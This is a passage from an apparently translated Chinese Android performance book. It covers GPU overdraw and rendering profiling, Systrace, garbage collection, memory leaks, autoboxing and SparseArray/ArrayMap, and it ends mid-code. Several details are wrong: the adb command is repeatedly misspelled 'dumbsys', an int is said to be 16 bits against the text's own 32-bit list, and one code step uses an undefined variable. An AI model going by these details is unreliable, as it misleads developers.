当你想调试和评估你的用户界面时,在真实设备上进行操作是非常重要的。Android 系统在开发者选项设置中提供了许多灵活的工具,可以在设备上使用。

调试 GPU 过度绘制

为了在设备上调试过度绘制,Android 提供了一个有用的工具,可以在开发者选项内启用。在硬件加速渲染部分中,有调试 GPU 过度绘制的选项。启用后,屏幕会根据每个像素的过度绘制级别以不同的颜色显示,如果存在过度绘制,则通过添加覆盖颜色来指示:

  • 真彩色:无过度绘制

  • 蓝色:1 倍过度绘制

  • 绿色:2 倍过度绘制

  • 粉色:3 倍过度绘制

  • 红色:4 倍以上过度绘制

例如,让我们看看图 22。左侧屏幕未经优化,而右侧屏幕则进行了优化。因此,这个工具对于查找我们布局中的过度绘制非常有帮助。作为开发者的我们的目标是尽可能减少叠加,以减少过度绘制并提高 GPU 计时和渲染速度。需要执行的主要操作是检查我们布局的背景和 RelativeLayouts 内部重叠的视图:

调试 GPU 过度绘制

图 22:优化前后的过度绘制比较

分析 GPU 渲染

这个工具向开发者展示了帧渲染操作需要多长时间,并定义了这些操作是否在 16 毫秒限制内完成。从渲染的角度来看,这是评估我们应用程序性能的一个很好的方法。

尽管名字如此,所有观察到的过程都是由 CPU 执行的:GPU 以异步方式工作,在 CPU 提交渲染操作之后。

要启用它,只需在设备的开发者设置中的监控部分选择分析 GPU 渲染。有两个选项:

  • 以条形图显示在屏幕上: 这显示了屏幕上的结果,有助于快速查看我们的应用程序针对每帧 16 毫秒目标的渲染性能。

  • 在 adb shell dumpsys gfxinfo 中: 这会存储基准测试结果,以便使用adb命令读取

图 23展示了它在屏幕上的显示方式。每个垂直条对应于一帧在屏幕上渲染的时间。每新一行都在前一行的右侧。水平绿色线表示 16 毫秒的目标:如果超过这个时间,说明有东西在拖慢我们的帧渲染操作:

分析 GPU 渲染

图 23:GPU 渲染工具

这个工具提供了关于每一帧渲染时发生情况的信息。垂直条被分为四个彩色段。从下到上,每一个都代表了完成不同子渲染操作所花费的时间:

  • 蓝色条——绘制: 这表示绘制视图所花费的时间。当View.onDraw()方法需要做的工作太多时,这个时间会变长。

  • 紫色条——准备: 这表示准备并将要在屏幕上显示的资源传输到渲染线程所花费的时间。

  • 红色条——处理: 这是处理 OpenGL 操作所花费的时间。

  • 橙色条——执行: 这是 CPU 等待 GPU 完成工作的时间。当 GPU 超负荷时,这个时间会变长。

adb shell dumpsys方法有助于比较我们的优化结果,以证明我们做得是否好。当使用以下命令调用时,结果会打印在终端中:

adb shell dumbsys gfxinfo <PACKAGE_NAME>

跟踪信息如下所示:

Applications Graphics Acceleration Info:
Uptime: 297209064 Realtime: 578485201

** Graphics info for pid 15111 [com.packtpub.androidhighperformanceprogramming] **

Recent DisplayList operations
 DrawRenderNode
 Save
 ClipRect
 DrawRoundRect
 RestoreToCount
 Save
 ClipRect
 Translate
 DrawText
 RestoreToCount
 DrawRenderNode
 Save
 ClipRect
 DrawRoundRect
 RestoreToCount
 Save
 ClipRect
 Translate
 DrawText
 RestoreToCount

Caches:
Current memory usage / total memory usage (bytes):
 TextureCache         30937728 / 75497472
 LayerCache                  0 / 50331648 (numLayers = 0)
 Garbage layers              0
 Active layers               0
 RenderBufferCache           0 /  8388608
 GradientCache               0 /  1048576
 PathCache                   0 / 33554432
 TessellationCache        2976 /  1048576
 TextDropShadowCache         0 /  6291456
 PatchCache                576 /   131072
 FontRenderer 0 A8     1048576 /  1048576
 FontRenderer 0 RGBA         0 /        0
 FontRenderer 0 total  1048576 /  1048576
Other:
 FboCache                    0 /        0
Total memory usage:
 31989856 bytes, 30.51 MB

Profile data in ms:
 com.packtpub.androidhighperformanceprogramming/com.packtpub.androidhighperformanceprogramming.BuildingLayoutActivity/android.view.ViewRootImpl@257c51f4 (visibility=0)
 Draw    Prepare Process Execute
 0.32    0.12    3.06    3.68
 0.37    0.45    2.64    0.42
 0.53    0.09    2.59    0.76
 0.33    0.22    2.59    0.42
 0.32    0.08    2.74    0.44
 0.34    0.20    2.58    0.40
 0.65    0.21    3.04    0.51
 0.36    0.61    2.80    0.41
 0.39    0.32    2.38    0.36
 0.45    0.11    2.78    0.37
 0.36    0.10    2.97    0.51
 0.48    0.49    6.95    0.75
 0.66    0.31    4.20    1.75
 0.30    0.17    2.84    1.22
 0.29    0.15    2.13    0.44
View hierarchy:
 com.packtpub.androidhighperformanceprogramming/com.packtpub.androidhighperformanceprogramming.BuildingLayoutActivity/android.view.ViewRootImpl@257c51f4
 26 views, 45.09 kB of display lists

Total ViewRootImpl: 1
Total Views:        26
Total DisplayList:  45.09 kB

这种渲染性能基准测试提供了比视觉测试更多的信息,如显示列表操作、内存使用情况、每个渲染操作的确切时间(这在视觉基准测试中会显示为一条条形图),以及关于视图层次结构的信息。

在 Android Marshmallow(API 级别 23)中,对先前的打印跟踪添加了新的有用信息:

Stats since: 133708285948ns
Total frames rendered: 18
Janky frames: 1 (5.55%)
90th percentile: 17ms
95th percentile: 19ms
99th percentile: 22ms
Number Missed Vsync: 0
Number High input latency: 0
Number Slow UI thread: 1
Number Slow bitmap uploads: 1
Number Slow issue draw commands: 2

这更有效地解释了我们的应用程序帧渲染的实际性能。

在 Android Marshmallow 中增加了一个有用的先进特性,称为framestats。它列出了详细的帧时序,并将数据添加到之前的打印输出(行数已减少以限制使用空间)。终端将列名作为第一行,然后列出所有其他列的值,这样第一个对应于第一个名称,第二个值对应于第二个名称,依此类推:

---PROFILEDATA---
Flags,IntendedVsync,Vsync,OldestInputEvent,NewestInputEvent,HandleInputStart,AnimationStart,PerformTraversalsStart,DrawStart,SyncQueued,SyncStart,IssueDrawCommandsStart,SwapBuffers,FrameCompleted,
0,133733327984,133849994646,9223372036854775807,0,133858052707,133858119755,133858280669,133858382079,133859178269,133859218497,133994699099,134289051517,134294121146,
1,133849994646,134283327962,9223372036854775807,0,134298506898,134298579812,134298753298,134301580193,134302094783,134302130821,134302130821,134307073077,134315631711,
0,135349994586,135349994586,9223372036854775807,0,135363372921,135363455055,135363522941,135363598369,135363991438,135364050104,135364221077,135367243259,135371662551,
---PROFILEDATA---

让我们解释一下这些值代表什么。每个时间戳都以纳秒为单位,新增的列如下所示:

  • Flags:如果是0,应考虑与该行相关的帧时序;否则,不考虑。如果帧的性能与正常性能有异常,它可以是非零值。

  • IntendedVsync:这是起点。如果 UI 线程被占用,它可能与Vsync值不同。

  • Vsync:VSYNC 的时间值。

  • OldestInputEvent:最老输入事件的时间戳。

  • NewestInputEvent:最新输入事件的时间戳。

  • HandleInputStart:将输入事件分派到应用程序的时间戳。

  • AnimationStart:动画开始的时间戳。

  • PerformTrasversalsStart:通过从DrawStart减去来获得布局和测量时序的时间戳。

  • DrawStart:开始绘图的时间戳。

  • SyncQueued:发送到RenderThread的同步请求的时间戳。

  • SyncStart:绘图同步开始的时间戳。

  • IssueDrawCommandsStart:GPU 开始绘图操作的时间戳。

  • SwapBuffers:前后缓冲区交换的时间。

  • FrameCompleted:帧完成的时间。

这些数据报告时间戳,因此需要通过减去两个时间戳来计算时序。结果可以向我们展示有关渲染性能的重要信息。例如,如果IntendedVsyncVsync不同,则表示错过了一个帧,可能会出现卡顿。

可以通过在终端运行以下命令来执行这个新的dumbsys命令:

adb shell dumbsys gfxinfo <PACKAGE_NAME> framestats

Systrace

Systrace 工具有助于分析渲染执行时序。它是 Android Device Monitor 的一部分,可以通过选择设备标签内的相关图标来访问。之后,将显示带有Systrace选项的对话框,如图 24所示:

Systrace

图 24:Systrace 选项

这个工具从设备上所有要跟踪的进程收集信息,并将跟踪保存到一个 HTML 文件中,图形用户界面突出显示观察到的的问题,提供关于如何修复的重要信息。

结果类似于图 25中的内容。视角分为三个主要视图:上部包含追踪本身,下部包含另一部分高亮对象的详细信息,而右侧视图,称为警报区域,包含当前追踪中报告的警报摘要。上部主要描述了关于内核的详细信息,包含所有 CPU 信息;关于SurfaceFlinger,即 Android 合成器进程;然后是收集信息期间每个活动进程的详细信息,即使该进程是系统进程。每个进程都包含评估期间每个运行线程的详细信息:

Systrace

图 25:Systrace 示例

让我们了解如何分析追踪:每个单一进程的每个绘制帧在Frames行中以带圆圈的F表示,如图 26 所示:

  • 绿色边框表示它们没有问题

  • 黄色和红色边框表示绘图时间超过了 16 ms 的目标,产生了滞后:Systrace

    图 26:帧详情

每个错误的F都可以选择查看事件的详细描述。以下是 Systrace 针对红色帧报告的一个示例:

警报 调度延迟
运行 6.401 ms
未调度,但可运行 16.546 ms
不可中断睡眠 | 唤醒 19.402 ms
休眠 27.143 ms
阻塞 I/O 延迟 1.165 ms
描述 制作此帧的工作被暂停了几毫秒,导致出现卡顿。确保 UI 线程上的代码不会阻塞其他线程正在进行的工作,并且后台线程(例如,进行网络或位图加载)应以android.os.Process#THREAD_PRIORITY_BACKGROUND或更低的优先级运行,这样它们就不太可能中断 UI 线程。这些后台线程在内核进程下的调度部分应显示优先级编号为 130 或更高。

如所述,此工具获取设备上每个进程和线程的信息,但如果我们想详细查看应用程序执行的部分以了解其在特定时间正在执行的工作,我们可以使用 API 告诉系统从哪里开始和结束追踪。这个 API 可以从 Android Jelly Bean(API 级别 18)开始使用,基于Trace类。只需调用静态方法开始和结束追踪,如下所示:

Trace.beginSection("Section name");
try {
    // your code
} finally {
    Trace.endSection();
}

这样,新的追踪将包含一个带有你的部分名称及其详细信息的全新行。

记得在同一线程上调用Trace.beginSection()Trace.endSection()方法。

摘要

在当代移动设备的理念中,应用程序是让用户访问我们远程服务的主要方式,因此它应该是获取这些服务的最主要手段。那么,用户对我们的应用程序的感知是成功的基础,它的用户体验和用户界面是衡量这一点的关键指标。因此,确保我们的应用程序渲染过程中没有延迟是非常重要的。

在本章中,我们所做的是了解设备如何渲染我们的应用程序,定义了每帧 16 毫秒的目标,并概述了硬件加速作为 Android 系统中主要的性能渲染改进。然后我们分析了开发者在构建应用程序 UI 时可能犯的主要错误,更详细地探讨了如何通过扁平化视图层次结构、在listview中重用行视图以及定义开发自定义视图和布局的最佳实践来提高渲染速度。最后,我们介绍了平台提供的帮助我们发现改进优化和衡量应用渲染性能的有用工具。

第四章:内存

当我们试图达到应用程序的性能目标时,内存是需要关注的问题:管理不善的应用程序内存可能会影响整个系统的行为。它还可能以同样的方式影响设备上安装的其他应用程序,正如其他应用程序可能影响我们的应用程序一样。众所周知,Android 在市场上拥有广泛的不同配置和内存量的设备。开发者需要解决如何应对这种碎片化的策略,开发时遵循哪种模式,以及使用哪些工具来分析代码。这正是本章的目标。我们将关注堆内存,而关于缓存的处理将在第十章“性能提示”中进行讨论。

我们将探讨设备如何处理内存,深化对垃圾回收的了解,以及它是如何工作的,从而理解如何避免常见的开发错误,并明确我们将要讨论的内容以定义最佳实践。我们还将通过模式定义,以大幅降低我们认为是内存泄漏和内存膨胀的风险。第四章将总结官方工具和 API,Android 提供这些工具和 API 来分析代码并找到可能导致内存泄漏的原因,这些内容在第二章“高效调试”中并未涉及。

演练

在讨论如何改进和分析我们的代码之前,了解 Android 设备如何处理内存是非常重要的。接下来,在以下几页中,我们将分析 Android 使用的运行时的差异,我们将更深入地了解垃圾回收,理解内存泄漏和内存膨胀,以及 Java 如何处理对象引用。

内存的工作原理

你是否想过餐厅是如何运作的?让我们思考一下:当新的顾客群体进入餐厅时,有服务员会寻找地方为他们安排座位。但餐厅空间有限,因此需要尽可能释放桌子:这就是为什么当一个群体吃完后,另一个服务员会清理并准备桌子供其他群体使用。第一个服务员必须找到每个新群体合适座位的桌子。然后,第二个服务员的工作应该是迅速的,不应妨碍或阻碍其他人的任务。另一个重要方面是每组占用的座位数量:餐厅老板希望有尽可能多的空座位来安排新客户。因此,确保每个群体占用的座位数量正确,而不占用可能被其他新群体使用的桌子是非常重要的。

这与 Android 系统的情形类似:每次我们在代码中创建一个新对象,它都需要被保存在内存中。因此,它被分配为我们应用程序私有内存的一部分,以便在需要时访问。在整个应用程序生命周期内,系统会持续为我们分配内存。然而,系统可使用的内存是有限的,它不能无限期地分配内存。那么,系统如何保证应用程序始终有足够的内存呢?为什么 Android 开发者不需要手动释放内存?让我们来了解一下。

垃圾回收

垃圾回收是一个基于两个主要概念的老概念:

  • 寻找不再被引用的对象

  • 释放那些对象的引用内存

当不再有对该对象的引用时,可以清理并释放它的“表”。这就是为了提供未来对象分配的内存所做的事情。这些操作,包括新对象的分配和不再被引用的对象的释放,都由设备上使用的特定运行时执行,开发者无需做任何事情,因为这些都是自动管理的。与其他语言,如 C 和 C++发生的情况不同,开发者无需手动分配和释放内存。特别是,当需要时进行分配,当达到内存上限时执行垃圾回收任务。后台的这些自动操作并不意味着开发者可以忽视他们应用程序的内存管理:如果内存管理做得不好,应用程序可能会出现延迟、故障,甚至在抛出OutOfMemoryError时崩溃。

共享内存

在 Android 中,每个应用程序都有自己的进程,完全由运行时管理,目的是回收内存,以便在必要时为其他前台进程释放资源。我们应用程序可用的内存量完全位于 RAM 中,因为 Android 不使用交换内存。这种做法的主要后果是,除了取消引用不再使用的对象之外,我们的应用程序没有其他方式来获得更多内存。但 Android 使用分页和内存映射:第一种技术定义了相同大小的内存块,称为页,在辅助存储中;而第二种技术使用与辅助存储中相关文件关联的内存映射,作为主要使用。当系统需要为其他进程分配内存时,会使用它们,因此系统创建分页内存映射文件来保存 Dalvik 代码文件、应用程序资源或本地代码文件。这样,这些文件可以在多个进程之间共享。

实际上,Android 使用共享内存以更好地处理来自许多不同进程的资源。此外,每个要创建的新进程都是由一个已存在的名为Zygote的进程分叉出来的。这个特殊的进程包含常见的框架类和资源,以加快应用程序的首次启动。这意味着 Zygote 进程在进程和应用程序之间共享。这种大量使用共享内存使得分析我们应用程序的内存使用情况变得困难,因为在达到正确的内存使用分析之前需要考虑许多方面。

运行时

内存管理的某些功能和操作取决于所使用的运行时。这就是为什么我们要了解 Android 设备使用的两个主要运行时的一些特定特性。它们如下:

  • Dalvik

  • Android 运行时 (ART)

ART 是后来添加的,用于从不同角度提升性能,替代 Dalvik。它在 Android KitKat(API 级别 19)中以开发者可启用的选项引入,并从 Android Lollipop(API 级别 21)开始成为主要的唯一运行时。除了在编译代码、文件格式和内部指令方面 Dalvik 和 ART 之间的差异之外,我们现在关注的是内存管理和垃圾回收。因此,让我们了解谷歌团队如何在运行时垃圾回收方面随时间提升性能,以及在我们开发应用程序时需要注意什么。

让我们退一步,回到餐厅的例子。如果所有员工,比如其他服务员和厨师,以及所有服务,比如洗碗工,在等待一个服务员空出桌子时停止他们的任务会发生什么?整个餐厅的成功与否都依赖于这个单一员工的表现在这种情况下拥有一个快速的服务员非常重要。但如果你负担不起他呢?店主希望他尽可能快地完成必须完成的工作,通过最大化他的生产力,然后合理分配所有顾客。这正是我们作为开发者需要做的:我们必须优化内存分配,以实现快速的垃圾回收,即使这会暂停所有其他操作。这里描述的就是运行时垃圾回收的工作原理:当达到内存上限时,垃圾回收开始执行任务,暂停所有其他方法、任务、线程和进程的执行。这些对象在垃圾回收任务完成之前不会恢复。因此,垃圾回收的速度足够快,以不影响我们在第三章,构建布局中讨论的每帧 16 毫秒的规则至关重要,否则会导致 UI 出现延迟和卡顿:垃圾回收占用的时间越多,系统准备要在屏幕上渲染的帧的时间就越少。

提示

请记住,自动垃圾收集并非没有代价:糟糕的内存管理可能导致 UI 性能变差,从而影响用户体验。没有任何运行时特性可以替代良好的内存管理。这就是为什么我们需要谨慎处理新对象的分配,尤其是引用。

显然,在 Dalvik 时代之后,ART 在这一过程中引入了许多改进,但背后的概念是相同的:它减少了收集步骤,为位图对象添加了特定的内存,使用了新的快速算法,还做了其他很酷的事情,这些将在未来变得更好,但如果我们想让应用程序有最佳性能,就没有办法逃避对我们的代码和内存使用进行剖析。

Android N JIT 编译器

ART 运行时使用提前编译,顾名思义,在应用程序首次安装时执行编译。这种方法以不同的方式为整个系统带来优势,因为系统可以执行以下操作:

  • 由于预编译,减少电池消耗,从而提高自主性

  • 比 Dalvik 更快地执行应用程序

  • 改进内存管理和垃圾收集

然而,这些优势与安装时间相关的成本有关:系统需要在那时编译应用程序,然后它比其他类型的编译器要慢。

因此,谷歌在新的 Android N 中为 ART 的提前编译器增加了一个即时编译器。这个编译器在需要时才激活,即在应用程序执行期间,然后它采用了与提前编译不同的方法。这个编译器使用代码剖析技术,它不是提前编译器的替代品,而是对它的补充。它是系统的一个很好的增强,因为它在性能方面带来了优势。

基于剖析的编译增加了预编译的可能性,然后根据使用情况或设备条件缓存并重用应用程序的方法。这个特性可以节省编译时间,提高各种系统的性能。因此,所有设备都能从这种新的内存管理中受益。主要优势如下:

  • 使用更少的内存

  • 减少 RAM 访问

  • 对电池的影响更低

然而,在 Android N 中引入的所有这些优势,都不应该让我们避免在应用程序中进行良好的内存管理。为此,我们需要知道代码背后潜伏着哪些陷阱,更重要的是,如何在特定情况下改善系统的内存管理,让应用程序保持活跃。

内存泄漏

从内存性能的角度来看,开发者在开发 Android 应用程序时可能犯的主要错误是所谓的内存泄漏,它指的是一个不再使用的对象,但被另一个仍然活跃的对象引用。在这种情况下,垃圾收集器会跳过它,因为足够的引用会让这个对象留在内存中。

实际上,我们是在避免垃圾收集器为其他未来的分配释放内存。因此,由于这个原因,我们的堆内存会变小,导致垃圾回收被更频繁地调用,从而阻塞应用程序的其他执行。这可能导致没有更多内存来分配新对象的情况,然后系统会抛出OutOfMemoryError。考虑一个已使用对象引用不再使用的对象,而这些不再使用的对象又引用其他不再使用的对象,依此类推:由于根对象仍在使用,它们都不能被回收。

内存抖动

内存管理的另一个异常称为内存抖动,它指的是在很短时间内大量实例化的新对象造成的运行时无法承受的内存分配量。在这种情况下,许多垃圾回收事件会被多次调用,影响应用程序的整体内存和 UI 性能。

我们在第三章《构建布局》中讨论了避免在View.onDraw()方法中分配内存的必要性,这与内存抖动密切相关:我们知道,每次需要重新绘制视图和刷新屏幕时,大约每 16.6667 毫秒调用一次这个方法。如果我们在这个方法内部实例化对象,可能会引起内存抖动,因为那些对象在View.onDraw()方法中被实例化后很快不再使用,因此它们很快就会被回收。在某些情况下,这会导致每次在屏幕上绘制帧时执行一次或多次垃圾回收事件,根据回收事件的持续时间,可能会将可用于绘制的时间减少到 16.6667 毫秒以下。

引用

让我们快速了解一下 Java 提供的不同对象引用类型。通过这种方式,我们将了解何时可以使用它们,以及 Java 如何定义四种不同的引用强度:

  • 普通引用:这是主要的引用类型。它对应于简单创建一个对象,当这个对象不再被使用和引用时,它将被回收,这就是传统的对象实例化方式:

    SampleObject sampleObject = new SampleObject();
    
  • 软引用:这是一种在垃圾回收事件触发时不足以将对象保留在内存中的引用,因此它可以在执行期间的任何时间变为 null。使用这种引用,垃圾收集器会根据系统的内存需求来决定何时释放对象内存。要使用它,只需创建一个SoftReference对象,在构造函数中传递实际对象作为参数,并调用SoftReference.get()来获取对象:

    SoftReference<SampleObject> sampleObjectSoftRef = new SoftReference<SampleObject>(new SampleObject());
    SampleObject sampleObject = sampleObjectSoftRef.get();
    
  • 弱引用:这类似于SoftReferences,但强度更弱:

    WeakReference<SampleObject> sampleObjectWeakRef = new WeakReference<SampleObject>(new SampleObject());
    
  • Phantom:这是最弱的引用;对象符合终结条件。这种引用很少使用,PhantomReference.get()方法总是返回 null。这是针对我们不感兴趣的引用队列,但有用的是,我们也提供了这种类型的引用。

如果我们知道哪些对象的优先级较低,可以在不导致应用程序正常执行问题的前提下被收集,那么这些类在开发时可能很有用。我们将在接下来的页面中看到它们如何帮助我们管理内存。

内存侧项目

在 Android 平台的发展过程中,谷歌一直在努力改进平台的内存管理系统,以保持与性能不断提高的设备和低资源设备的广泛兼容性。这是谷歌并行开发两个项目的主要目的,然后,每个新发布的 Android 版本都意味着对这些项目的改进和变化,以及它们对系统性能的影响。这些侧项目中的每一个都关注不同的问题:

  • 项目 Butter:在 Android Jelly Bean 4.1(API 级别 16)中引入,并在 Android Jelly Bean 4.2(API 级别 17)中改进;它增加了与平台图形方面的特性(VSync 和缓冲是主要的增加内容),以提高设备在使用时的响应性。

  • 项目 Svelte:在 Android KitKat 4.4(API 级别 19)中引入,它处理内存管理的改进,以支持低 RAM 设备。

  • 项目 Volta:在 Android Lollipop(API 级别 21)中引入,它关注设备的电池寿命。然后,它添加了重要的 API 来处理批处理耗电操作,例如 JobScheduler,或者新的工具,如 Battery Historian。

项目 Svelte 和 Android N

当项目 Svelte 首次引入时,它减少了内存占用并改进了内存管理,以支持内存可用性低的入门级设备,然后扩大了支持设备的范围,这对平台有明显的好处。

随着 Android N 的发布,谷歌希望提供一种优化方式来在后台运行应用程序。我们知道,即使应用程序在屏幕上看不到,也没有运行的活动,但由于服务可能正在执行某些操作,应用程序的进程仍然在后台运行。这是内存管理的一个关键特性:后台进程的内存管理不当可能会影响整个系统的性能。

但是在新的 Android N 中,应用程序行为和 API 有哪些变化呢?为了改善内存管理,减少后台进程影响的策略是避免为以下操作发送应用程序广播:

  • ConnectivityManager.CONNECTIVITY_ACTION:从 Android N 开始,只有那些在前台并注册了此操作的BroadcastReceiver的应用程序才能接收到新的连接动作。任何在清单文件中声明了隐式意图的应用程序将不再接收到它。因此,应用程序需要改变其逻辑以实现之前的相同功能。第六章,网络连接,讨论了这一点,所以请参考那一章以了解更多关于这个特定主题的信息。

  • Camera.ACTION_NEW_PICTURE:这用于通知刚刚拍摄了一张照片并添加到媒体库中。此操作将不再可用,无论是接收还是发送,对于任何应用程序来说都是如此,不仅仅是那些针对新 Android N 的应用程序。

  • Camera.ACTION_NEW_VIDEO:这用于通知刚刚拍摄了一段视频并添加到媒体库中。与之前的操作一样,此操作已不再可用,对于任何应用程序来说也是如此。

在针对新 Android N 的应用程序时,请记住这些更改,以避免不希望或意外的行为。

所有列出的操作都已被谷歌更改,以强制开发者不要在应用程序中使用它们。通常情况下,我们不应使用隐式接收者也是出于同样的原因。因此,我们应该始终检查应用程序在后台运行时的行为,因为这可能导致意外的内存使用和电池耗电。隐式接收者可以启动我们的应用程序组件,而显式接收者在活动在前台时设置的时间有限,之后它们就不能影响后台进程了。

提示

开发应用程序时避免使用隐式广播是一个好习惯,这样可以减少对后台操作的影响,可能导致不希望的记忆浪费,进而导致电池耗电。

此外,Android N 在 ADB 中引入了一个新命令,用于测试应用程序忽略后台进程的行为。使用以下命令忽略后台服务和进程:

adb shell cmd appops set RUN_IN_BACKGROUND ignore

使用以下命令来恢复初始状态:

adb shell cmd appops set RUN_IN_BACKGROUND allow

请参考第五章,多线程,了解进程如何在 Android 设备上工作。

最佳实践

现在我们知道了应用程序在活跃时内存中可能发生的情况,让我们看看我们能做些什么来避免内存泄漏和内存翻滚,并优化我们的内存管理,以便达到性能目标,不仅仅是内存使用,还有垃圾回收的参与,因为正如我们所知,它会阻止任何其他操作运行。

在接下来的页面中,我们将采用自下而上的策略,通过大量的提示和技巧,从 Java 代码的低级巧妙方法到 Android 实践的高级方法进行讲解。

数据类型

我们不是在开玩笑:我们真的是在谈论 Java 原始类型,因为它们是所有应用程序的基础,了解如何处理它们非常重要,尽管这可能很显然。事实并非如此,我们很快就会明白为什么。

Java 提供了在用时需要保存在内存中的原始类型:系统会分配与该特定类型请求的内存量相关的内存量。以下是 Java 原始类型及其相关位数的列表:

  • byte:8 位

  • short:16 位

  • int:32 位

  • long:64 位

  • float:32 位

  • double:64 位

  • boolean:8 位,但取决于虚拟机

  • char:16 位

乍一看,很明显,每次使用时,你应该小心选择正确的原始类型。

提示

如果你不需要,不要使用更大的原始类型:如果可以用整数表示数字,就不要使用longfloatdouble。这将是一种浪费内存和计算,每次 CPU 需要处理它时。记住,为了计算一个表达式,系统需要对参与计算的最大原始类型进行拓宽的隐式转换。

自动装箱

“自动装箱”是指原始类型与其对应的包装类对象之间的自动转换。原始类型包装类如下:

  • java.lang.Byte

  • java.lang.Short

  • java.lang.Integer

  • java.lang.Long

  • java.lang.Float

  • java.lang.Double

  • java.lang.Boolean

  • java.lang.Character

可以使用赋值运算符实例化它们,就像原始类型一样,它们也可以被当作原始类型使用:

Integer i = 0;

这与以下内容完全相同:

Integer i = new Integer(0);

但使用自动装箱并不是提高应用程序性能的正确方法。它有很多相关成本:首先,包装对象比相应的原始类型大得多。例如,Integer对象在内存中需要 16 字节,而原始类型只需要 16 位。因此,处理它需要更多的内存。然后,当我们使用包装对象声明变量时,对该变量的任何操作至少意味着另一个对象的分配。看看以下代码段:

Integer integer = 0;
integer++;

每个 Java 开发者都知道这是什么,但这段简单的代码需要逐步解释发生了什么:

  • 首先,从Integerinteger中取出整数值,并将其增加 1:

    int temp = integer.intValue() + 1;
    
  • 然后,结果被赋值给整数,但这意味着需要执行一个新的自动装箱操作:

    i = temp;
    

毫无疑问,这些操作比我们使用包装类而不是原始类型时要慢:不需要自动装箱,因此,不再有糟糕的分配。在循环中,情况可能会变得更糟,因为前面的操作在每个周期都会重复。例如,以下代码段:

Integer sum = 0;
for (int i = 0; i < 500; i++) {
    sum += i;
}

在这种情况下,由于自动装箱导致了很多不适当的分配,如果我们将其与基本类型的for循环进行比较,我们会注意到没有分配:

int sum = 0;
for (int i = 0; i < 500; i++) {
    sum += i;
}

注意

应尽可能避免自动装箱:我们在应用执行时使用基本包装类代替基本类型的次数越多,浪费的内存就越多。这种浪费可能会在循环中使用自动装箱时传播,不仅影响内存,还影响 CPU 的定时。

稀疏数组家族

因此,在上一段中描述的所有情况下,我们可以使用基本类型代替对象对应物。然而,这并不总是那么简单。如果我们处理泛型时会发生什么?例如,考虑集合:我们无法将基本类型用作实现以下接口的对象的泛型。我们必须像这样使用包装类:

List<Integer> list;
Map<Integer, Object> map;
Set<Integer> set;

每当我们使用集合中的Integer对象时,至少会发生一次自动装箱,产生前面概述的浪费。我们都知道在日常工作开发中处理这类对象的频率。但在这些情况下有没有办法避免自动装箱呢?Android 提供了一系列有用的对象,用于替换Map对象并避免自动装箱,从而保护内存免受无谓的大分配:它们就是稀疏数组。

以下是稀疏数组列表,以及它们可以替换的相关类型的映射:

  • SparseBooleanArray: HashMap<Integer, Boolean>

  • SparseLongArray: HashMap<Integer, Long>

  • SparseIntArray: HashMap<Integer, Integer>

  • SparseArray<E>: HashMap<Integer, E>

  • LongSparseArray<E>: HashMap<Long, E>

在下一节中,我们将特别讨论SparseArray对象,但我们对所有之前提到的对象所说的都是正确的。

SparseArray对象使用两个不同的数组来存储散列和对象。第一个收集排序后的散列,而第二个根据图 1中的键散列数组排序存储键值对。

稀疏数组家族

图 1:SparseArray 的散列结构

当你需要添加一个值时,你必须在SparseArray.put()方法中指定整数键和要添加的值,就像在HashMap中一样。如果多个键散列被添加到同一个位置,这可能会导致冲突。

需要值时,只需调用SparseArray.get(),并指定相关键:在内部,键对象用于二分查找散列的索引,然后获取相关键的值,如图 2所示:

稀疏数组家族

图 2:SparseArray 的工作流程

当二分搜索产生的索引中的键与原始键不匹配时,发生了碰撞,因此搜索会继续在两个方向上进行,以找到相同的键并提供值(如果它仍然在数组内)。因此,如果数组包含大量对象,找到值所需的时间将显著增加。

相比之下,HashMap只包含一个数组来存储哈希、键和值,并且它使用大型数组作为一种避免碰撞的技术。这对于内存来说并不好,因为它分配的内存比实际需要的更多。所以HashMap之所以快速,是因为它实现了一种更好的避免碰撞的方法,但它不是内存效率高的。相反,SparseArray在内存使用上更高效,因为它使用正确数量的对象分配,执行时间的增加是可以接受的。

这些数组使用的内存是连续的,因此每次从SparseArray中删除键/值对时,它们可以被压缩或调整大小:

  • 压缩:要删除的对象被移到末尾,所有其他对象都向左移动。包含要删除项的最后一个块可以重新用于将来的添加,以节省分配。

  • 调整大小:数组的所有元素都被复制到其他数组,旧的数组被删除。另一方面,添加新元素会产生与将所有元素复制到新数组相同的效果。这是最慢的方法,但它完全保证了内存安全,因为没有无用的内存分配。

通常,在进行这些操作时,HashMap速度更快,因为它包含的块比实际需要的多,从而造成了内存浪费。

注意

使用SparseArray系列对象取决于内存管理和 CPU 性能模式的策略,因为与内存节省相比,计算性能成本较高。因此,在某些情况下使用它是正确的。在以下情况下考虑使用它:

  • 你正在处理的对象数量不到一千,并且你不会进行大量的添加和删除操作。

  • 你正在使用包含少量项目但有很多迭代的地图集合

这些对象的另一个有用特性是,它们允许你遍历索引,而不是使用更慢且内存效率低下的迭代器模式。以下代码段显示了迭代不涉及对象:

// SparseArray
for (int i = 0; i < map.size(); i++) {
    Object value = map.get(map.keyAt(i));
}

相反,需要Iterator对象来遍历HashMap

// HashMap
for (Iterator iter = map.keySet().iterator(); iter.hasNext(); ) {
    Object value = iter.next();
}

一些开发者认为HashMap对象是更好的选择,因为它可以从 Android 应用程序导出到其他 Java 应用程序,而SparseArray家族的对象则不能。但我们在这里分析的内存管理收益适用于任何其他情况。作为开发者,我们应该努力在每个平台上达到性能目标,而不是在不同平台上重复使用相同的代码,因为从内存的角度来看,不同的平台可能会受到不同的影响。这就是为什么我们主要的建议是始终在每个我们工作的平台上分析代码,并根据结果做出关于最佳和最差方法的个人判断。

ArrayMap

ArrayMap对象是 Android 平台上对Map接口的一种实现,它比HashMap更节省内存。这个类从 Android KitKat(API 级别 19)开始提供,但在支持包 v4 中也有另一种实现,因为其主要在老旧和低端设备上使用。

它的实现和用法与SparseArray对象类似,这涉及到内存使用和计算成本的所有含义,但其主要目的是允许你像HashMap一样使用Objects作为映射的键。因此,它提供了两者的最佳结合。

语法

有时,我们在日常的 Android 应用程序开发中对那些简单且常见的 Java 结构并不够小心。但我们确定那些基本的 Java 语法总是适合性能吗?让我们找出答案。

集合

在上一段中我们已经处理了集合。现在我们想要面对遍历集合的含义,以找出在集合内部迭代对象的最好选择,然后改善内存管理。让我们比较三种不同循环的时间结果:

  • Iterator循环

  • while循环

  • for循环

我们使用了以下代码片段来比较它们的时间:

public class CyclesTest {

    public void test() {
        List list = createArray(LENGTH);
        iteratorCycle(list);
        whileCycle(list);
        forCycle(list);
    }

    private void iteratorCycle(List<String> list) {
